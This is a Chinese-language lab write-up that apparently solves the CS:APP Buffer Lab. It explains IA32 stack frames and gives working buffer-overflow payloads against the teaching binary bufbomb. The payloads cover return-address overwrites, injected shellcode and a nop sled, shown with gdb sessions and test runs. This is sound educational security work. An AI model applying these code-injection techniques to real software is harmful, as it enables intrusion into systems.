实验答案托管在我的Github

Buffer Lab是《深入理解计算机系统》(第二版)中的缓冲区溢出实验,现在已经被Attack Lab替代。为了熟悉IA32的栈帧以及过程调用的原理,于2017年5月10日将该实验完成。

实验简介

Buffer Lab是传统的32位实验,现在已经被Attack Lab替代。在该实验中,需要利用缓冲区溢出漏洞生成攻击代码去修改一个32位的x86可执行程序的运行时行为。

该实验加深了对于栈规则的理解以及说明了缓冲区溢出漏洞可能造成的危险后果。

该实验同Attack Lab非常相似,但是仅仅采用了代码注入攻击作为攻击手段。同时,也要注意x86和x86_64有着不同的栈帧以及过程的调用方式。

IA32的栈帧以及过程调用

IA32的栈帧

IA32的栈帧同x86的栈帧相似,栈从高地址向低地址增长。寄存器%esp保存的是栈帧的栈顶(低地址),寄存器%ebp保存的是栈帧的栈底(高地址)。

调用者的栈帧主要包括了参数区以及返回地址。

被调用者的栈帧的栈底首先是保存的寄存器ebp值(指向调用者的栈底),然后是被保存的寄存器,局部变量以及临时空间,最后是参数构造区。

IA32的过程调用

IA32提供了如下的过程调用指令:

  • call 该指令将返回地址压入调用者的栈帧,并且将程序计数器%eip指向了被调用者的首地址
  • leave 该指令一般位于ret指令之前,等价于mov %ebp,%esp和pop %ebp,主要作用是回收栈空间,并且恢复栈顶(%esp)和栈底(%ebp)使得栈帧恢复为调用者栈帧
  • ret 该指令从栈中弹出返回地址并且让程序计数器eip指向该地址,使程序继续执行被调用者的下一条指令

IA32的过程调用遵循如下的规则:

  1. 首先执行call指令,call会在调用者的栈顶压入返回地址并且使程序计数器指向被调用者
  2. 然后保存调用者的栈底即push %ebp,并且将栈顶设置为被调用者的栈底即mov %esp,%ebp
  3. 分配局部的栈空间,主要用于临时变量的存储
  4. 执行被调用者的指令
  5. 执行leave,释放栈空间并重置栈顶(%esp)和栈底(%ebp),使得恢复为调用者栈帧
  6. 执行ret,过程返回并继续执行调用者的指令

IA32的参数传递规则:
同x86不同,IA32不使用寄存器进行参数的传递,IA32从右到左将参数依次压栈,然后调用相应的过程。

实验准备

实验讲义中主要包含了以下3个可执行文件:

  • bufbomb 你所要攻击的缓冲区炸弹程序
  • makecookie 根据你所输入的userid生成一个cookie
  • hex2raw 一个生成攻击字符串的工具

首先我们要输入userid生成一个cookie供后续使用,命令及结果如下:

1
2
3
user@BlackDragon ~/C/B/buflab-handout> ./makecookie BlackDragon > cookie                          
user@BlackDragon ~/C/B/buflab-handout> cat cookie
0x3dde924c

然后我们要将bufbomb反汇编以供后续攻击使用,命令及结果如下:

1
user@BlackDragon ~/C/B/buflab-handout> objdump -d bufbomb > bufbomb-disassemble

目标程序

目标程序的通过getbuf函数从标准输入流中读取字符串,并且该函数和Attack Lab中的函数一致,且具有缓冲区溢出的漏洞。这里不再赘述。

值得注意的是,bufbomb函数接受如下的参数:

  • -h 打印帮助信息
  • -u userid 你应该一直为程序提供该参数,因为远程计分服务器需要该参数,bufbomb也需要该参数去确定你生成的cookie以确定你的攻击满足了条件,并且若干关键的栈地址也和该userid生成的cookie有关
  • -n 进入’Nitro’模式,在阶段4中使用
  • -s 将你的攻击字符串作为结果提交至计分服务器

同Attack Lab一样,你需要使用hex2raw从攻击代码生成相应的攻击字符串,这里也不再赘述。

实验过程

阶段0:蜡烛(Candle)

在本实验中,关键函数getbuf被test函数调用,getbuf和test函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* getbuf */
#define NORMAL_BUFFER_SIZE ??
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

/* test */
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

现在我们希望test函数从getbuf返回时不执行下一条代码,而是跳转至函数smoke,该函数如下:

1
2
3
4
5
6
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

首先我们需要确定缓冲区的大小,观察bufbomb-disassemble中getbuf的反汇编结果,如下:

1
2
3
4
5
6
7
8
9
10
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

注意到函数总共开辟了0x38=56个字节的栈空间,然后lea -0x28(%ebp),%eax mov %eax,(%esp)进行了参数字符串起始地址的构造,考虑到栈从高地址向低地址延伸,而ebp指向栈底,我们可以推测缓冲区总共是0x28=40个字节。

经过实际测试,可以确定缓冲区确实是40个字节。

下面我们观察反汇编代码,可以得出函数smoke的起始地址为0x08048c18,根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 18 8c 04 08 /* 保存的%ebp以及返回地址 */

在该阶段中,由于smoke直接使得程序退出,所以我们不需要在意保存的%ebp的值,直接通过缓冲区溢出覆盖返回地址即可。

下面我们使用hex2raw生成攻击字符串并测试。结果如下:

1
2
3
4
5
6
7
user@BlackDragon ~/C/B/buflab-handout> cat level0.txt|./hex2raw|./bufbomb -u BlackDragon             
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
run with level1

阶段0完成。

阶段1:火花(Sparkler)

现在,我们希望getbuf返回时跳转至函数fizz同时能伪装成已经传递了cookie作为参数,该函数如下:

1
2
3
4
5
6
7
8
9
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

在该阶段中,我们需要注意IA32中,参数是通过调用者的栈进行传递的,我们观察fizz的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>

从上述反汇编代码的第1行第4行和第5行,我们可以知道函数fizz的起始地址为0x08048c42,val保存在0x8(%ebp)中,cookie保存在固定的地址0x804d108中。根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
7
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 42 8c 04 08 /* 保存的%ebp以及返回地址 */
00 00 00 00 4c 92 de 3d /* cookie */

在该攻击代码中,前48个字节同阶段0一样,只是将返回地址改成了了函数fizz的起始地址。而最后8个字节则是用来伪装成传递参数的。注意函数从getbuf返回后并不会真正的调用fizz函数,而只是依次的开始执行fizz的指令。

因此,从getbuf返回直到获取到参数val这整个过程中,首先getbuf返回会执行复位操作,将栈顶(%esp)指向第40个字节处(从0开始计算,下同),然后将0x0pop至栈底(%ebp),最后根据返回地址跳转至fizz并pop。现在栈顶(%esp)指向了第48个字节。紧接着,直接开始执行fizz的指令,将%ebp(0)入栈,直至执行到mov 0x8(%ebp),%eax,栈顶(%esp)指向第44个字节。所以,我们的cookie应当放在第(44+8=52)个字节处,直到第55个字节为止。

下面我们使用hex2raw生成攻击字符串并测试,如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level1.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Fizz!: You called fizz(0x3dde924c)
VALID
NICE JOB!

阶段1完成。

阶段2:爆竹(FireCracker)

bufbomb中包含了一个全局变量global_value以及函数bang,如下:

1
2
3
4
5
6
7
8
9
10
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

在该阶段中,我们希望函数能在返回时跳转至bang,但是在这之前,要将全局变量global_value的值设置为cookie。

该阶段同Attack Lab第1部分的等级2相似,我们需要将程序计数器%eip指向栈,在栈上执行相应的代码,实现相关的修改,最后从栈上返回至函数bang。

首先我们需要确定在进入getbuf时的栈地址,具体的命令和操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user@BlackDragon ~/C/B/buflab-handout> gdb bufbomb                                           
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x80491fa
(gdb) run -u BlackDragon
Starting program: /home/user/CSAPPLabs/BufferLab/buflab-handout/bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c

Breakpoint 1, 0x080491fa in getbuf ()
(gdb) disas
Dump of assembler code for function getbuf:
0x080491f4 <+0>: push %ebp
0x080491f5 <+1>: mov %esp,%ebp
0x080491f7 <+3>: sub $0x38,%esp
=> 0x080491fa <+6>: lea -0x28(%ebp),%eax
0x080491fd <+9>: mov %eax,(%esp)
0x08049200 <+12>: call 0x8048cfa <Gets>
0x08049205 <+17>: mov $0x1,%eax
0x0804920a <+22>: leave
0x0804920b <+23>: ret
End of assembler dump.
(gdb) print /x $esp
$1 = 0x55682f18
(gdb) print /x $ebp
$2 = 0x55682f50

通过在gdb中添加断点并观察,我们可以确定在执行函数getbuf时,栈底(%ebp)的值为0x55682f50。

接下来我们要通过gcc和objdump生成攻击代码,具体的操作和Attack Lab相似,我们首先新建一个level2-exploit.s文件,在其中编写相应的攻击代码,如下:

1
2
3
4
mov $0x3dde924c, %eax
mov %eax, 0x804d100 ;设置全局变量
add $16, %esp ;修改栈顶
ret ;返回

然后我们依次使用gcc -m32 -c level2-exploit.sobjdump -d level2-exploit.o > level2-exploit.d将攻击代码汇编和反汇编,具体的命令和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> gcc -m32 -c level2-exploit.s                          
user@BlackDragon ~/C/B/buflab-handout> objdump -d level2-exploit.o > level2-exploit.d
user@BlackDragon ~/C/B/buflab-handout> cat level2-exploit.d

level2-exploit.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: b8 4c 92 de 3d mov $0x3dde924c,%eax
5: a3 00 d1 04 08 mov %eax,0x804d100
a: 83 c4 10 add $0x10,%esp
d: c3 ret
 

最后我们根据以上的信息来生成我们最终的攻击代码,如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp以及返回地址(在栈上) */
b8 4c 92 de 3d a3 00 d1
04 08 83 c4 10 c3 00 00 /* 攻击代码 */
9d 8c 04 08  /* 返回地址指向函数bang */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level2.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Bang!: You set global_value to 0x3dde924c
VALID
NICE JOB!

阶段2完成。

阶段3:炸药(Dynamite)

在前面的几个阶段中,我们所有的攻击都导致程序跳转至其他函数并退出。所以,使用会破坏栈的攻击代码是可行的。

在该阶段中,你需要修改程序的寄存器和内存状态,并且使程序能正确的返回值原调用者函数并且不出错。这就意味着你必须:

  1. 在栈上执行机器代码
  2. 将返回指针置于代码的起始
  3. 修复对栈造成的破坏

具体来说,你需要让函数getbuf返回cookie而不是1至函数test。注意到在test中当返回值为cookie时程序会输出”Boom!”。你的攻击代码应当将cookie设置为返回值,恢复任何被破坏的状态,将正确的返回地址push到栈上,最终执行ret指令。

对于该阶段,我们的思路如下:

  1. 缓冲区溢出的部分要保证保存的%ebp不变以方便后续的寻址过程(攻击代码中使用)。然后和阶段2一样,通过溢出使程序跳转至栈上执行相应的攻击代码
  2. 攻击代码首先将返回地址设置为正确的返回地址(调用者的下一条指令)
  3. 然后再将返回值(%eax)设置为cookie
  4. 最终修改栈顶(%esp)并ret

缓冲区溢出攻击后,我们期望的整个程序的执行过程如下:

  1. 跳转至栈上执行代码,此时%esp被修改至第48个字节处,且%ebp中存有正确的值。
  2. 程序执行攻击代码,该攻击代码重置了返回地址,覆盖了getbuf的返回值,修改了栈顶指针并ret
  3. 程序带着完整的栈状态和修改后的返回值返回至test函数,并继续执行

下面我们讨论一下攻击代码中具体的细节。

首先是保存的ebp的值到底是多少,这个我们可以在gdb中直接调试打印得出,为0x55682f80。
栈上的返回地址和阶段2一样,为0x55682f58。

然后我们的攻击代码如下:

1
2
3
4
5
mov $0x8048dbe, %eax ;将真正的返回地址送入%eax
mov %eax, -0x2c(%ebp) ;将%eax送入栈上的正确位置
mov $0x3dde924c, %eax ;修改返回值
sub $4, %esp ;修改栈顶%esp
ret

这里讨论一下为什么是-0x2c(%ebp),保存的%ebp是调用者的栈底,我们观察调用者函数test的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
08048daa <test>:
8048daa: 55 push %ebp
8048dab: 89 e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83 ec 24 sub $0x24,%esp
8048db1: e8 da ff ff ff call 8048d90 <uniqueval>
8048db6: 89 45 f4 mov %eax,-0xc(%ebp)
8048db9: e8 36 04 00 00 call 80491f4 <getbuf>
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx
8048dc8: 39 d0 cmp %edx,%eax
8048dca: 74 0e je 8048dda <test+0x30>
8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt>
8048dd8: eb 46 jmp 8048e20 <test+0x76>
8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 75 26 jne 8048e08 <test+0x5e>
8048de2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt>
8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e8 75 05 00 00 call 804937b <validate>
8048e06: eb 18 jmp 8048e20 <test+0x76>
8048e08: 89 5c 24 08 mov %ebx,0x8(%esp)
8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt>
8048e20: 83 c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret

我们可以知道函数test在栈上分配了0x24=36个字节的空间,而在这之前栈上还有被push的%ebx占4个字节,那么如果要想要定位到调用者栈顶的返回地址,偏移量应为36+4+4=44=0x2c,考虑到栈自高地址向低地址增长,所以应为-0x2c(%ebp)。

而程序从getbuf返回时栈顶指针并没有指向我们设置的返回地址,而是指向了栈上紧邻着该地址的高地址位置,所以我们需要将%esp-4以确保其指向了我们设置的返回地址,使得程序能正确返回。

下面我们使用gcc和objdump生成攻击代码,并且我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
80 2f 68 55 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上) */
b8 be 8d 04 08 89 45 d4 /* 攻击代码 */
b8 4c 92 de 3d 83 ec 04
c3

最后我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3.txt|./hex2raw|./bufbomb -u BlackDragon         
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段3完成。

攻击代码的优化

注意到在上面我们的攻击代码还是很麻烦的,我们不仅花了很大的时间保证被保存的%ebp不变,还调整了栈顶指针使得函数能正确返回。

其实,我们可以使用push returnAddress,ret来达到返回到指定位置的效果。也能直接在攻击代码中设置%ebp的值,这样,我们的攻击代码如下:

1
2
3
4
mov $0x3dde924c,%eax ;返回值
mov $0x55682f80,%ebp ;修改%ebp
push $0x8048dbe ;将返回地址压栈
ret

根据以上的信息重新生成我们的攻击代码:

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上)*/
b8 4c 92 de 3d bd 80 2f /* 攻击代码 */
68 55 68 be 8d 04 08 c3

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3-2.txt|./hex2raw|./bufbomb -u BlackDragon          
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段4:硝化甘油(Nitroglycerin)

需要为bufbomb以及hex2raw添加命令行参数’-n’以执行本阶段

本阶段非常的具有挑战性,在本阶段中,函数getbuf的栈帧的位置在每次运行时都是不同的。栈随机化的策略明显提升了攻击的难度。

具体来说,在该阶段中,程序会调用getbufn来从标准输入流中读取数据,和getbuf不同的是,getbufn具有512个字节的缓冲区,并且,在相邻两次getbufn的调用中,%ebp的值将会出现最多+-240的误差。除此以外,在该阶段中,程序总共会使用5次你所输入的字符串,也就是说,总共会调用5次getbufn。同阶段3的任务相似,你必须保证每一次调用getbufn,其返回值均为cookie。

若返回值为cookie,则程序会输出”KABOOM!”。你的攻击代码需要在5次栈帧位置不同的函数getbuf的调用中设置cookie为返回值,恢复对栈造成的破坏,设置正确的返回地址,并最终执行ret执行以返回testn。

在本阶段中我们需要使用一种名为nop雪橇(nop sled)的攻击方式来对抗随机化。具体来说,就是通过在攻击代码前大量插入nop(空操作,编码为90)。这样,就算栈的起始地址在一定范围内波动,只要程序能跳转至其中一个nop指令,就能顺着这一组nop指令滑向我们真正的攻击代码。

首先我们需要考虑的是我们攻击代码的长度,由于必须要通过缓冲区溢出覆盖掉函数getbufn的返回地址,所以攻击代码的长度至少为520个字节的缓冲区,4个字节的被保存的%ebp,以及4个字节的返回地址。

我们将攻击代码放在缓冲区的最后,并且用90(nop)填充所有未被利用到的缓冲区以实现一个nop sled。

具体的攻击代码如下:

1
2
3
4
lea 0x28(%esp), %ebp ;复原%ebp
mov $0x3dde924c, %eax ;设置cookie
push $0x8048e3a ;将返回地址压栈
ret

注意到我们无法再采用阶段3中的办法来复原%ebp了。但是注意到,当函数从getbufn返回时,%esp的值是正确的,而%esp和%ebp的相对差值是固定的,因此我们可以根据函数返回时的%esp去还原%ebp,对于testn来说,%esp和%ebp之间相差了36+4=40=0x28个字节。

最后是返回地址的设定,在gdb中观察可知第一次执行时buf的地址为0x55682f40,因此我们将返回地址设置为0x55682f40-480=0x55682d60可保证每次都能命中。

最终我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nop sled */
90 90 90 90 90 90 90 90 90 90 90 90 90 8d 6c 24
28 b8 4c 92 de 3d 68 3a 8e 04 08 c3 60 2d 68 55 /* 攻击代码与返回地址 */

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> cat level4.txt|./hex2raw -n|./bufbomb -u BlackDragon -n  
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
VALID
NICE JOB!

阶段4完成。

实验总结

Buffer Lab整体上同Attack Lab的第1部分,代码注入攻击相似,不同在于需要了解IA32的栈帧结构,过程调用以及参数传递的原理。

除此以外,还需要了解对抗栈随机化的一种攻击方式 - nop sled。